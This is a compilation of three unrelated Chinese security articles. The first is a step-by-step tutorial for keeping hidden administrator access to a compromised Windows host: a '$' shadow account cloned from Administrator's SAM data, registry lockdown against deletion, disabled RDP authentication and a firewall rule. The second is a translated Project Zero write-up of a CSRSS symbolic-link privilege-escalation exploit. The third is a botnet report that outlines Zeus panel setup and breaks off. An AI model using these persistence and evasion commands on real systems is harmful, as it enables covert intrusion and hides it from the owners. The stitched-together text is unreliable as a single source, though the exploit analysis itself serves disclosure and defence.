在渗透过程中拿下一台主机后很多时候会选择开3389进远程桌面查看一下对方主机内有无一些有价值的东西可以利用，但是这也引出了一个问题，只要是登录进程就一定会留下痕迹，虽然在渗透完成后可以通过痕迹清理的方法清除自己登录的"证据"，但是在多次渗透的过程中我不禁产生了思考，有没有一种方法能够最大化的隐藏自己登陆过对方主机呢，于是便有了下文
# 0x01 隐藏用户（影子用户）的创建与利用进行权限维持
这里先提一个概念，在windows环境下创建用户如果后面带了一个"$"符号，在net user时默认是不显示的，下文基于这个特性展开
利用条件：①获得管理员权限；②得到cmdshell等shell环境(即管理员cmd)
操作步骤（我这里以Windows10 为例）：
1.首先利用cmdshell添加一个用户名带$的用户，如：admin$：123456
命令如下：
net user admin$ 123456 /add #添加用户admin$
net localgroup administrators admin$ /add #将admin$用户添加到管理员组administrators
使用命令net user查看用户发现并没有这个用户
此时可以直接登录3389进行操作，但隐蔽性仍不足，可以在控制面板的管理工具中用户与用户组查看到该用户的存在，还需要进一步操作
2.对注册表进行修改，在命令提示符与管理工具中无法查看
当你利用shell创建了一个影子用户的时候，利用这个影子用户可以开启3389进行登录，在目标机上对注册表进行数据操作，达到提高影子用户的隐蔽性
利用 运行 输入regedit 打开注册表 ，找到如下图的SAM
选择SAM 项 ，在工具栏上的“编辑 > 权限” 中设置权限 ，将 Administrators组 的权限设置为完全控制 后保存
（拒绝修改不可逆，出错会造成大问题，别点到完全操控的拒绝项，该操作不可逆，利用这个思路，我们可以在修改注册表后再对System与Administrators权限进行拒绝访问，可防止管理员删除这个用户）
两个权限都修改为允许
设置好后，回到注册表主页面 ，发现SAM项下出现了隐藏的子项，找到
SAM > Domains > Account > Users 和 Names
分别找到Administrator用户和admin$用户的两个项
Administrator用户的F值（SID）：
将Administrator F表内的二进制数据复制下来
找一下admin$用户对应的SID和F值，如下所示：
将admin$目录下的F值修改为从administrator复制得来的F值
复制后如图所示
导出Users下对应admin$项
我这里保存到桌面
再把Names下对应的admin$项导出
同样导出到桌面
导出后如图所示
利用cmdshell（管理员权限）将admin$删除，删除后发现注册表中的admin$用户相关项已经消失
net user admin$ /del
这时候我们导入已经备份好的项与数值（导出后双击进行导入或者在注册表中导入）
我这里在注册表进行导入
可以看见导入已经成功了
导入成功后回到管理工具中的查看用户与用户组的页面，发现用户组和用户已经没有admin$这个用户的存在了，但实际上我们仍可以用这个用户的密码进行登录RDP，而且可以相当于Administrator管理员进行登录操作
开启3389进行登录，发现问题
发现用户未授权，这时候又多了一个利用条件，要在右下的选择用户下，添加admin$用户的用户名，才能正常登录3389
修改后成功登录
# 0x02 细节拓展
那我们在实战中，是以远程登录界面为基础的。这时，我们又要拓展另一个权限，userauthentication权限
，该权限主要是用于远程连接的身份验证，称之为鉴权
我们以图片直观地查看该权限开启与关闭的区别：
开启状态：
关闭状态就会直接进入远程桌面锁屏处
这里有一个重点：
鉴权开启时，我们在不知道账号密码的情况下无法登录到远程界面，但是鉴权关闭之后，无论我们输入的账号和密码是否正确，都可以进入远程界面窗口
首先关闭鉴权模式，我们采用如下命令，这里0代表关闭，1代表开启
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
关闭鉴权模式还不够，还需要关闭securitylayer安全层验证
securitylayer这个安全层验证简单来说就是保证了对话传输保密性更高，它的默认值为1，指定在建立远程桌面连接之前，服务器和客户端需要进行身份验证，如果这个地方安全层验证的默认值为1，服务器和客户端就必须要进行身份验证，也就是输入帐号密码的操作，所以我们需要将安全层验证的这个值改为0
这里贴一下微软官方对这个验证的解释：<https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-rdp-winstationextensions-securitylayer>
概括起来就是：
0 就是连接前使用 rdp 协议进行身份验证，rdp 即远程桌面连接，可以简单理解为就是关闭验证。1 是指在连接前两端协商来进行身份验证，这个是默认值。2
就是使用 tls 协议来进行
将其参数设置为0，命令如下：
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0
这里注意一下，我在测试过程中，两个参数同时关闭（也存在关掉一个参数而不用验证的情况，但最好还是两个参数都关闭）才可以不用输入正确凭证进入3389的登录页面
以上操作的基础是目标机开启了远程桌面连接，如果没有开启远程连接需要先配置一下防火墙，设置为允许远程桌面连接，命令：
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
这里解释一下：
netsh 是 windows 的网络配置命令，advfirewall firewall 意思为防火墙的高级设置，add rule 是添加一条规则，name
指定规则名称，protocol 指定协议，dir 指定是出站还是入站，localport 指定端口，action 指定动作 allow 允许
设置后，我们再通过注册表来设置一下允许远程桌面连接，执行以下命令：
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /D 0 /f
做好以上工作，服务器的RDP远程登录界面就可以在无输入正确密码的情况下打开，远程桌面连接输入 ip 就会直接跳到目标锁屏页
不用凭证验证进入到登录页面：
# 0x03 思路拓展
在这里展示的是代表新用户的影子用户的创建利用，如果遇上有意识的管理员，极有可能会在注册表中被发现，如果设置不可逆性的权限（查看访问设置完全控制的拒绝选项）可以暴力有效解决这个账号被删除的问题，但后面也会引发更大的问题
利用新的影子用户登录3389，会生成数据容易被发现，而且还需要在3389上添加条件才能进行正常登录（Windows10下是如此情况）
此处可以扩展两种方法：
①所以说这里我们可以开启来宾账户Guest在注册表对其F值进行更换，开启Guest账户，我们就可以登录而且减少了一些不必要的关注。
②在添加授权用户那个选项中，将所有已知的用户进行添加，防止管理员过早发现创建的影子用户的存在。 | 社区文章 |
本文是[Windows Exploitation Tricks: Exploiting Arbitrary Object Directory
Creation for Local Elevation of
Privilege](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)的翻译文章。
# 前言
我们又回到了关于Windows利用技巧系列。
这次我将详细说明我将如何利用问题[1550](https://bugs.chromium.org/p/project-zero/issues/detail?id=1550)，它能使用CSRSS特权进程的某些行为创建任意对象目录。
我将再次说明如何利用特定漏洞，我希望读者能够更好地了解Windows操作系统的复杂性，并向微软提供有关非内存损坏利用技术的信息，以便他们能够以某种方式缓解这些漏洞。
# 漏洞概述
对象管理器目录与普通文件目录无关。 使用一组单独的系统调用（如NtCreateDirectoryObject而不是NtCreateFile）创建和操作目录。
即使它们不是文件目录，也很容易受到许多和你在文件系统上发现的相同类别问题的影响，包括特权创建和符号链接劫持攻击。
问题[1550](https://bugs.chromium.org/p/project-zero/issues/detail?id=1550)中的漏洞允许在用SYSTEM权限运行时在用户可控制的位置内创建目录。
该bug的根源在于[Desktop Bridge](https://docs.microsoft.com/en-us/windows/uwp/porting/desktop-to-uwp-extensions)应用程序的创建。
AppInfo服务负责创建新应用，调用未记录的API，CreateAppContainerToken来执行一些内部管理。
不幸的是，此API在用户的AppContainerNamedObjects对象目录下创建对象目录，以支持OS重定向BaseNamedObjects和RPC端点。
由于在不模拟用户的情况下调用API（在CreateProcess中调用它一般不是个大问题），因此使用服务的标识（即SYSTEM）创建对象目录。
由于用户可以将任意对象写入其AppContainerNamedObjects目录，所以他们可以删除对象管理器符号链接，并将创建的目录重定向到对象管理器命名空间中的任何位置。
该目录是使用显式安全描述符创建的，该描述符允许用户完全访问，这对于利用来说将变得非常重要。
利用此漏洞的一个难点是，如果未在AppContainerNamedObjects下创建对象目录，但我们已经重定向其位置，那么执行令牌创建并在其操作过程中捕获目录句柄的基础NtCreateLowBoxToken系统调用将失败。
可以创建目录，但很快就会被删除。 这种行为实际上是我报告的早期[问题](https://docs.microsoft.com/en-us/windows/uwp/porting/desktop-to-uwp-extensions)，它改变了系统调用的行为。这仍然可以通过在删除之前打开创建目录的句柄来实现，并且在实践中，只要你的系统具有多个处理器（基本上是任何现代系统），它几乎都能成功。要打开句柄，只需利用该目录，该目录就会保持活动状态。
这是我发送给MSRC的原始PoC停止的点，所有PoC都创建了一个任意对象目录。 你可以在问题跟踪器中找到此PoC附加到初始错误报告。
现在让我们深入了解如何利用此漏洞从普通用户提权得到特权SYSTEM用户。
# 利用
利用的主要问题是找个位置，并在里面创建一个对象目录，然后利用该目录来提升我们的权限。 事实证明这比你想象的要难。
虽然几乎所有Windows应用程序都使用底层的对象目录，例如BaseNamedObjects，但应用程序通常会与漏洞无法用于修改的现有目录进行交互。
本利用的对象目录是KnownDlls（我在本系列的前一篇[博客](https://xz.aliyun.com/t/2670)中简要提到过）。
此对象目录包含NAME.DLL形式的命名图像节对象列表。
当程序在SYSTEM32目录内的DLL上调用LoadLibrary时，加载程序会先检查KnownDlls对象目录中是否存在现有镜像节，如果该节存在则将加载而不是创建新的部分对象。
KnownDll只能由管理员写入（严格来说我们不会看到），因此如果你能删除此目录中的任意节对象，那么也能强制系统服务加载指定的DLL，例如使用Diagnostics
Hub服务 我在上一篇博文中描述过，它会映射节，而不是磁盘上的文件。
但是，除了添加一个无助于利用的新子目录之外，该漏洞不能用于修改KnownDlls对象目录。
也许我们可以通过利用漏洞使用的其他功能来间接定位KnownDlls？
每当我研究产品的特定部分时，我总会记下有趣或意外的行为。在我研究Windows符号链接时发现了一个有趣的例：Win32
API支持名为[DefineDosDevice](https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-definedosdevicew)的函数，此API的目的是允许用户定义新的DOS驱动器号。 API需要三个参数，一组标志，要创建的驱动器前缀（例如X
:)和映射该驱动器的目标设备。 API的主要用途和CMD的[SUBST](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/subst)命令相似。
在现代版本的Windows上，此API在用户自己的DOS设备对象目录中创建一个对象管理器符号链接，该位置可由普通的低权限用户帐户写入。
但是，如果你看一下DefineDosDevice的实现，你会发现它没有在调用者的进程中实现。
相反，该实现在当前会话的CSRSS服务中调用RPC方法，特别是BASESRV.DLL中的BaseSrvDefineDosDevice方法。
调用特权服务的主要原因是它允许用户创建永久符号链接，当符号链接对象的所有句柄都关闭时，该链接不会被删除。
通常，要创建永久命名的内核对象，你需要SeCreatePermanentPrivilege权限，但普通用户没有该权限。
另一方面CSRSS会这样做，通过调用该服务，我们可以创建永久符号链接。
创建永久符号链接的能力当然很有趣，但如果我们仅限于在用户的DOS设备目录中创建驱动器号，那它也不是特别有用。
我还注意到，实现从未验证lpDeviceName参数是否为驱动器号。 例如，你可以指定名称“GLOBALROOT\RPC
Control\ABC”，它实际上会在用户的DosDevices目录之外创建一个符号链接，特别是在这种情况下，路径为“\RPC Control\ABC”。
因为实现将DosDevice的前缀“\??”添加到设备名称并将其传递给NtCreateSymbolicLink。内核将遵循完整路径，找到GLOBALROOT，它是返回根的特殊符号链接，然后按照创建任意对象的路径。
目前还不清楚这是否是固定行为，所以我更深入地研究了CSRSS的实施情况，CSRSS的缩写形式如下所示。
NTSTATUS BaseSrvDefineDosDevice(DWORD dwFlags,
LPCWSTR lpDeviceName,
LPCWSTR lpTargetPath) {
WCHAR device_name[];
snwprintf_s(device_name, L"\\??\\%s", lpDeviceName);
UNICODE_STRING device_name_ustr;
OBJECT_ATTRIBUTES objattr;
RtlInitUnicodeString(&device_name_ustr, device_name);
InitializeObjectAttributes(&objattr, &device_name_ustr,
OBJ_CASE_INSENSITIVE);
BOOLEAN enable_impersonation = TRUE;
CsrImpersonateClient();
HANDLE handle;
NTSTATUS status = NtOpenSymbolicLinkObject(&handle, DELETE, &objattr);①
CsrRevertToSelf();
if (NT_SUCCESS(status)) {
BOOLEAN is_global = FALSE;
// Check if we opened a global symbolic link.
IsGlobalSymbolicLink(handle, &is_global); ②
if (is_global) {
enable_impersonation = FALSE; ③
snwprintf_s(device_name, L"\\GLOBAL??\\%s", lpDeviceName);
RtlInitUnicodeString(&device_name_ustr, device_name);
}
// Delete the existing symbolic link.
NtMakeTemporaryObject(handle);
NtClose(handle);
}
if (enable_impersonation) { ④
CsrRevertToSelf();
}
// Create the symbolic link.
UNICODE_STRING target_name_ustr;
RtlInitUnicodeString(&target_name_ustr, lpTargetPath);
status = NtCreateSymbolicLinkObject(&handle, MAXIMUM_ALLOWED,
objattr, target_name_ustr); ⑤
if (enable_impersonation) { ⑥
CsrRevertToSelf();
}
if (NT_SUCCESS(status)) {
status = NtMakePermanentObject(handle); ⑦
NtClose(handle);
}
return status;
}
我们可以看到代码所做的第一件事就是构建设备名路径，然后尝试打开DELETE访问①的符号链接对象。
这是因为API支持重新定义现有的符号链接，因此必须先尝试删除旧链接。如果我们遵循链接不存在的默认路径，我们将看到代码模拟调用者（在这种情况下为低权限用户）④，然后创建符号链接对象⑤，恢复模拟⑥并在返回操作状态之前使对象永久化⑦。
没有什么太令人惊讶的，至于为什么我们可以创建任意符号链接，是因为所有代码都是在传递的设备名称前加上“\??”。
由于代码在执行任何重要操作时模拟调用者，因此我们只能在用户可以写入的位置创建链接。
更有趣的是中间条件，其中为DELETE访问打开目标符号链接，这是调用NtMakeTemporaryObject所必需的。
打开的句柄传递给另一个函数②，IsGlobalSymbolicLink，并根据该函数的结果设置禁用模拟的标志，然后使用全局DOS设备位置\GLOBAL再次重新创建设备名称？
对于前缀③，什么是IsGlobalSymbolicLink呢？ 我们再一次可以重新启动该功能并进行检查。
void IsGlobalSymbolicLink(HANDLE handle, BOOLEAN* is_global) {
BYTE buffer[0x1000];
NtQueryObject(handle, ObjectNameInformation, buffer, sizeof(buffer));
UNICODE_STRING prefix;
RtlInitUnicodeString(&prefix, L"\\GLOBAL??\\");
// Check if object name starts with \GLOBAL??
*is_global = RtlPrefixUnicodeString(&prefix, (PUNICODE_STRING)buffer);
}
此代码会检查打开的对象的名称是否以\GLOBAL
??\开头。如果是，它将is_global标志设置为TRUE。使该标志模拟被清除并设备名称被重写。这意味着如果调用者具有对全局DOS设备目录内的符号链接的DELETE访问权限，则将重新创建符号链接而不进行任何模拟，也就是它会被创建为SYSTEM用户。这并不是很有趣，因为默认情况下只有管理员可以打开DELETE访问的全局符号链接之一。但是，如果我们能在全局DOS设备目录下创建一个可由低权限用户写入的子目录，该怎么办？可以打开该目录中的任何符号链接以进行DELETE访问，因为低权限用户可以指定他们喜欢的任何访问权限，代码会将链接标记为全局，而实际情况并非如此，禁用模拟并将其重新创建为SYSTEM
。猜猜看，我们有一个漏洞可以让我们在全局DOS设备目录下创建一个任意对象目录。
如果不是为了重写路径，这并不是非常可利用的。 我们可以利用路径“\??\ABC”与“\GLOBAL
??\ABC”不同的特点，以构造在对象管理器命名空间中作为SYSTEM创建任意符号链接的机制。 这对我们有什么帮助？
如果你编写了一个指向KnownDlls的符号链接，那么在打开DLL加载程序请求的部分时，内核将会跟随它。
因此，即使我们无法在KnownDlls中直接创建新的节对象，我们也可以创建一个符号链接，该链接指向该目录之外的低权限用户可以创建节对象的位置。
我们现在可以利用劫持将任意DLL加载到特权进程内的内存中，并实现提权。
把这些全总结在一起，我们可以使用下面的步骤来利用漏洞：
1. 使用此漏洞创建目录“\GLOBAL ??\KnownDlls”
2. 在新目录中创建一个符号链接，其中包含要劫持的DLL的名称，例如TAPI32.DLL。 此链接的目标无关紧要。
3. 在用户的DOS设备目录中创建一个名为“GLOBALROOT”的新符号链接，指向“\GLOBAL ??”。 当调用者通过用户的DOS设备目录访问它时，将覆盖真正的GLOBALROOT符号链接对象。
4. 调用DefineDosDevice，指定设备名称“GLOBALROOT\KnownDlls\TAPI32.DLL”以及用户可以在其中创建节对象的位置的目标路径。 这将导致以下情况：
a. CSRSS打开符号链接“\??\GLOBALROOT\KnownDlls\TAPI32.DLL”，然后打开“\GLOBAL
??\KnownDlls\TAPI32.DLL”。 由于这是由用户控制的，所以能成功打开，并且该链接被视为全局，禁用模拟。
b. CSRSS将路径重写为“\GLOBAL
??\GLOBALROOT\KnownDlls\TAPI32.DLL”，然后调用NtCreateSymbolicLinkObject而不进行模拟。
这使得之后真正的GLOBALROOT被链接，并创建具有任意目标路径的符号链接“\KnownDlls\TAPI32.DLL”。
5. 在目标位置为任意DLL创建映像节对象，然后通过获取服务来使用TAPI32.DLL的路径调用LoadLibrary，强制将其加载到特权服务（如诊断中心）中。
6. 实现提权
这实际上是第二次使用DefineDosDevice API进行利用，它是Protected Process Light （PPL）旁路管理员。
PPL进程仍然使用KnownDlls，因此如果你能添加新条目，那么也可以将代码注入受保护进程。
为了防止该定向攻击，Windows使用进程信任标签标记KnownDlls目录，该进程信任标签阻止除最高级别PPL进程以外的所有进程写入，如下所示。
那么我们的漏洞利用如何运作？ CSRSS实际上作为最高级别的PPL运行，因此允许写入KnownDlls目录。
一旦模拟被删除，就能使用进程的身份，这样就能获取完全访问权限。
如果你想测试这个漏洞我已经在[这里](https://bugs.chromium.org/p/project-zero/issues/detail?id=1550#c5)将新的PoC附加到问题tracker。
# 总结
你可能想知道我是否向Node报告了DefineDosDevice的行为？ 我没有，主要是因为它本身并不是一个漏洞。
即使在PPL管理员的情况下，MSRC也不会考虑可用的安全边界（比如这个[例子](https://bugs.chromium.org/p/project-zero/issues/detail?id=1336)）。 当然，Windows开发人员可能会尝试在将来更改此行为，假设它不会导致兼容性的重大回归。
这个功能自Windows早期就已存在，至少从Windows XP开始，因此可能存在依赖它的东西。
通过详细描述这个漏洞，我想给MS提供尽可能多的信息，以便在将来解决这种开发技术。
我确实向MSRC报告了这个漏洞，并在2018年6月的补丁中得到修复。 Microsoft如何修复此漏洞？
开发人员添加了一个新的API，CreateAppContainerTokenForUser，它在创建新的AppContainer令牌期间模拟令牌。
通过在令牌创建期间模拟，代码可确保仅使用用户的权限创建所有对象。
由于它是一个新的API，因此必须更改现有代码才能使用它，因此你仍然可以在旧的CreateAppContainerToken的代码中找到可利用的漏洞。
在利用任何平台上的漏洞时，有时也需要深入了解不同组件的交互方式。 在这种情况下，虽然最初的漏洞显然是一个安全问题，但目前尚不清楚如何进行全面利用。
在逆向工程中遇到的有趣行为的日志总是值得记录下来的，即使某些东西本身不是安全漏洞，但它有可能对利用另一个漏洞有用。 | 社区文章 |
# 【技术分享】2016僵尸网络研究报告（上）
|
##### 译文声明
本文是翻译文章，文章来源：cyren.com
原文地址：<http://pages.cyren.com>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **pwn_361**
****](http://bobao.360.cn/member/contribute?uid=2798962642)
**预估稿费：300RMB**
**投稿方式：
发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿**
**
**
**传送门**
[**【技术分享】2017僵尸网络研究报告（下）**](http://bobao.360.cn/learning/detail/3413.html)
****
**一、前言：僵尸网络的兴起**
2016年，以Locky为代表的勒索软件的兴起非常引人注目，但是过去几个月，我们的注意力被网络犯罪基础设施的一个基础元素所吸引—-僵尸网络。
去年七月份，有很多攻击者使用LizardStresser工具发起DDoS攻击，这是使用了物联网设备的DDoS僵尸网络，由Lizard
Squad黑客组织推动的DDos网络。八月份，我们碰到了第一个基于Android，并经过Twitter控制的僵尸网络。九月底，网络罪犯发布了一个公告，公开了Mirai僵尸木马程序的源代码，该木马程序的主要感染目标是物联网设备，并使用这些设备组建一个僵尸网络，进而发动DDoS攻击。这个恶意软件之前只被少数犯罪份子所使用(已经感染了成千上万的物联网设备)，但随着源代码被公开发布，世界各地的网络犯罪分子现在有了一种现成的简易方法，去建立更多的僵尸网络。十月份，使用了100000台设备的强大僵尸网络，攻击了DNS服务提供商Dyn公司。最终给数十家知名互联网服务公司带来了很大影响，包括Airbnb，Etsy，Pinterest，Amazon，PayPal，Twitter，和Netflix,以及各大新闻媒体和ISPs,如Comcast和Verizon。
Cyren公司强大的“GlobalView
Security”云数据每天能收集和分析超过170亿个威胁数据，Cyren研究人员发现了成千上万的恶意DNS、电子邮件和Web活动，而这些都源于一个僵尸网络。
这就是Necurs僵尸网络，我们已经追踪到经过它传播的Locky和Dridex恶意软件。在过去的几个月中，Necurs僵尸网络已经“关闭”了两次，给我们的感觉好像是已经下线了，实际上没有。僵尸网络世界看起来不太像一般的网络犯罪，更像是一个季节性的破坏者。
在今天的世界里，因为僵尸网络的存在，从笔记本电脑、路由器、DVRs到安全摄像机，都处在危险之中。事实上，最近毕马威公司对中型公司的研究发现，机器的综合计算能力能显著影响公司的运营，影响范围包括公司收入的减少、商业信誉的损失，到客户信心的减少。僵尸网络通过各种方式，能影响到任何个人、商业活动、公司或政府。通过DDoS攻击实际目标、或使用公司的计算资源和带宽对其他人发动攻击、窃取商业秘密，或客户、员工的身份信息，向源代码中插入恶意软件，或影响系统整体数据的完整性等等。
今天，每一个组织都需要确保他们的安全，在那些对威胁情报的深度和广度有需要的地方，分层防御必须能在多个级别上瓦解这些现代克隆军队的网络犯罪活动。
**二、僵尸网络101：僵尸网络如何工作**
据说，在1988年11月初，互联网第一次受到病毒的攻击，当时，康奈尔大学有一个高智商但是无聊的毕业生，名为Robert Morris
Jr，开发了第一个互联网“蠕虫”–一个计算机病毒，从一个计算机传播到另一个计算机。
据说莫里斯对这个软件的设想不仅包括在连接的计算设备间复制数据，也包括连接的计算系统–通过指令来操作数以千计的连接的计算机。
僵尸网络在过去25年里发生了非常令人注目的变化，包括它们的影响范围、创造财富的能力、和引起的破坏性。由于僵尸网络、恶意软件、DDoS攻击和其它活跃的恶意行为，商业交易每年都会损失不少客户和数万百美元的收入。僵尸网络在21世纪成为互联网最大的威胁。
**僵尸网络如何诞生**
通常，僵尸网络是一连串互联的计算机、或僵尸主机，每一个都感染了由特定僵尸网络控制的相同或不同类型的恶意软件。这个僵尸主机有能力直接和C&C(命令和控制)服务器进行通联，僵尸主机之间也有能力互相通联，并执行控制者的命令。即使是合法的分布式计算系统，也有可能利用了僵尸网络的技术。通常，“僵尸网络”这个术语仅仅是指拥有犯罪意图的非法网络。
要创建僵尸网络，创建人员就需要用恶意软件感染计算机。这可以通过多种方法，包括恶意邮件、钓鱼网站、感染了恶意软件的盗版软件、或者感染U盘。
**僵尸网络的通信方法主要有两种**
直接命令和控制(C&C)的僵尸网络。采用了C&C方式，僵尸主机直接联系一个服务器、或一组分布式服务器，来获取任务并报告主机状态。采用命令和控制网络方式比较好实施，但是如果C&C服务发生问题，整个僵尸就有可能中断。
对等(P2P)的僵尸网络。对等的僵尸网络使用一个分布式僵尸主机来保护僵尸网络，防止发生服务中断。对等的僵尸网络可以包含C&C服务，也可以不包含，也可以设计成一个特定的、随机的结构，这可以进一步使僵尸网络和它的用途更加模糊。因此，P2P僵尸网络不容易被识别，主控机不容易监控指令的传递，P2P僵尸网络的实现本身比较复杂。
**三、僵尸网络的组成**
僵尸网络–是一个由感染了恶意软件的设备，通过互联网互相连接的网络，通常会从事网络犯罪活动。它经常被用于传播垃圾邮件和恶意软件，或者发动DDoS攻击。僵尸网络可以大到拥有1百万台设备，每天发送多达600亿封垃圾邮件。“botnet”术语最早起源于“roBOT”和“
NETwork”的组合。
僵尸控制者：或者称为僵尸网络控制器或僵尸牧人，僵尸控制者是僵尸网络的操作者。这个个体远程控制着僵尸网络，向C&C服务器发布命令，或向网络中的某个僵尸主机。僵尸控制者为了逃避法律诉讼和身份识别，他们对自己的名字和位置会严密的保护。
命令和控制(C&C)服务器:经常简称为C&C，是一个中心计算机，负责对僵尸主机发送命令，及从僵尸主机接收信息。C&C的基础架构通常包括多台服务器和其他技术组件。大多数僵尸网络采用“客户端-服务器端”的结构，但是有的僵尸网络采用了P2P结构，这种结构将C&C功能集成到了僵尸网络中。
对等(P2P)僵尸网络：对等僵尸网络使用了一分布式的僵尸主机网络，主要是为了保护僵尸网络、防止网络中断。P2P僵尸网络可以包含C&C服务器，也可以不包含，也可以设计成一个特定的、随机的结构，这可以进一步使僵尸网络和它的用途更加模糊。因此，P2P僵尸网络不容易被识别，主控机不容易监控指令的传递，P2P僵尸网络的实现本身比较复杂。
僵尸主机：僵尸网络中的一个通过互联网连接的个人设备叫做僵尸主机。僵尸主机通常是一台计算机，但是智能手机、平板电脑、或物联网设备也可以是僵尸网络的一部分。僵尸主机可以从C&C服务器接受命令，也可以直接接受僵尸控制者的命令，或者是网络中的其它僵尸主机。
僵尸：这是僵尸主机的另一种叫法。因为僵尸主机通常是由一个外部计算设备或人来控制，可以被比作一个虚构的“僵尸”。僵尸网络也被称为“僵尸军团”。
**C &C僵尸网络如何传播恶意软件？**
1.僵尸控制者通过传播僵尸恶意软件、感染别人的电脑或其它设备，来建立一个僵尸网络。他也可以从网络犯罪份子手中租用一个现有的僵尸网络。
2.将新收获的僵尸主机或僵尸报告给僵尸网络的C&C服务器。
3.C&C服务器控制僵尸主机，并向僵尸主机发送指令，包含邮件模板和潜在受害人的地址列表，让僵尸主机传播一个可执行的恶意文件。
4.僵尸主机收到命令以后，开始向成千上万的潜在受害人发送包含恶意载荷的邮件。
**四、不断增长的威胁：物联网僵尸网络**
几年来，网络安全专业人士一直在预测一个即将到来的恶意软件攻击潮，源于物联网设备。越来越多的“智能”日常家庭用品，可以连接到互联网，如冰箱、WIFI路由器、DVRs、婴儿监控器、安全摄像机、恒温器等等。
在2016年，未来才有可能发生的事，变成了“此刻”已经发生，网络罪犯吸收了超过1百万台物联网设备，用于扩大他们的僵尸军团。两个主要的开源恶意软件–Mirai和Bashlight–成为了他们武器库中的一个选择。两个恶意软件都会针对安装了BusyBox的嵌入式设备发起攻击，并对telnet远程登录协议进行猜解。就Mirai而言，该僵尸网络软件会将通信数据加密，包括僵尸设备间的通信数据、及僵尸和C&C服务器的通信数据。这给网络安全安全专家监控和分析恶意活动带来了不小的困难。研究者还认为，Mirai能接管那些已经被Bashlight感染的设备，甚至会为僵尸设备打上补丁，防止它们再次被竞争对手感染。
Mirai僵尸网络的力量在九月份第一次被发现，当时，网络罪犯(vDoS黑客组织)针对网络安全专家Brian
Krebs的网站–krebsonsecurity.com–发起了DDoS攻击。
据Krebs说，这次网络攻击在最高峰产生了每秒约664G比特的流量。这是一次最大的单一互联网攻击的见证和记录。
十月份，物联网僵尸网络突然攻击了Dyn公司，该公司控制着大量的互联网DNS基础设施。被基于Mirai的物联网僵尸网络攻击后，造成了众多网站暂时中断，如Twitter，CNN，和Netflix。
随着网络犯罪率的不断增长，物联网僵尸网络变得尤其危险，基于以下几个原因：
1.随着各种智能设备不断接入互联网，物联网僵尸网络的规模实际是可以无限扩大。
2.物联网设备的安全防御通常很少，经常缺乏基本的安全规划。
3.Mirai僵尸网络的源码2016年十月份被公开，这给更多黑客提供了方便。
僵尸网络的货币化也是其发展的关键。研究人员报告称，规模在10万到40万台设备的物联网僵尸网络，每次攻击可以赚到3000到7500美元，这使得犯罪份子创建和使用僵尸网络的热情更加高涨。
安全专家建议，对于那些被感染的物联网设备，可以采用重新恢复的办法清除僵尸程序(重新恢复设备可以从内存中清除僵尸程序)，不过，有可能该设备很快又会被感染。因为犯罪份子在不断的扫描物联网设备的漏洞。因此，在重新恢复设备后，立刻更改设备的默认密码就很有必要了。
**五、ET给家里打电话：合法的僵尸网络**
尽管“僵尸网络”这个术语通常和犯罪份子、恶意程序有关系，实际上，有一些僵尸网络是合法的，并且对我们是有用的。比如众所周知的“分布式计算系统”，它可以分布在全球各地。也许你认识的某个人，就有可能很愿意的允许他的电脑成为其中的一部分。
合法的僵尸网络是安装了某种软件的一群通过互联网连接的设备，并通过人来控制的系统，使这些设备一起执行某些功能或一些命令。通过在多平台上扩展的计算能力，很多任务可以完成的很快，很有效率、并且成本较低。“分布式计算系统”往往是为了创造更大的效益，而“僵尸网络”通常是为了犯罪目的。
也许目前最著名的分布式计算项目是“SETI@home”项目。利用了伯克利开放式网络计算（BOINC）软件平台，由加州大学伯克利分校的空间科学实验室维护。“SETI@home”可以租用志愿者的闲置CPU和GPU资源，用于分析从射电望远镜捕获的无线电信号，目的是为了搜寻外星人存在的证据。
其他著名的分布式计算项目集中在资源密集型计算任务，如天气模型和预报、天体物理学、股票市场预测、分子生物学和数学。
**六、创建、买、或租用？15分钟僵尸网络**
成为网络罪犯变得越来越容易了，只需要手中有几百美元。连接互联网，任何人都可以获得到软件和支持，以建立一个僵尸网络。在花钱租用了一个僵尸网络以后，通过利用僵尸网络传播恶意软件、垃圾邮件、钓鱼攻击、甚至是发动DDoS攻击，犯罪份子可以很快从他的投资中得到回报。具有编码能力的企业型犯罪团伙，开发出了可以租用的僵尸网络及租赁方案，然后出售或租赁给任何愿意付钱的人。
**创建自己的僵尸网络**
对于那些想拥有属于自已的僵尸网络的罪犯，得到一个基本的僵尸网络可能只需要大约15至20分钟，一旦罪犯决定了僵尸网络的目的，并确定需要哪些关键组件。在线供应商、工具、甚至赞助商都可以帮忙建设。只要一个正确的关键字搜索，就可以让你在五分钟之内在网上买到“僵尸网络创建工具包”。一旦购买和创建了这些工具，罪犯只需要开发有效载荷，当然，通常在工具包中就可以选择有效载荷。构建一个C&C服务器也只需要一个WEB主机或一个在线云服务提供者。
Cyren研究人员检查了一个基于免费软件的Zeus僵尸网络的创建步骤。在传播恶意软件之前，用户还需要做的只有两点：
1.设置服务器。
2.生成恶意软件。
**步骤一：设置服务器**
为了设置服务器，僵尸网络创建者需要在安装了Apache网站服务器和其他组件的LINUX主机上，安装“Zeus
2.0.9.15”管理面板。一旦将LINUX环境设置好，Zeus软件(网页文件)只需要从一个ZIP文件中复制出来，然后修改一下文件的权限。安装过程可以从任何Web浏览器中激活。
在安装完毕以后，可以从Web浏览器访问到Zeus的控制面板。
**步骤二：生成恶意软件**
下一步就是生成Zeus的恶意软件。当然这个恶意软件和新创建的管理服务器或C&C服务器是相配套的。在这个例子中，准僵尸网络控制者是幸运的，因为“Zeus
2.0.9.15”管理面板已经简化了操作流程，非常简单。为了生成Zeus的恶意软件，只需要做以下事件：
1.设置配置参数，其中包括服务器的所有细节。
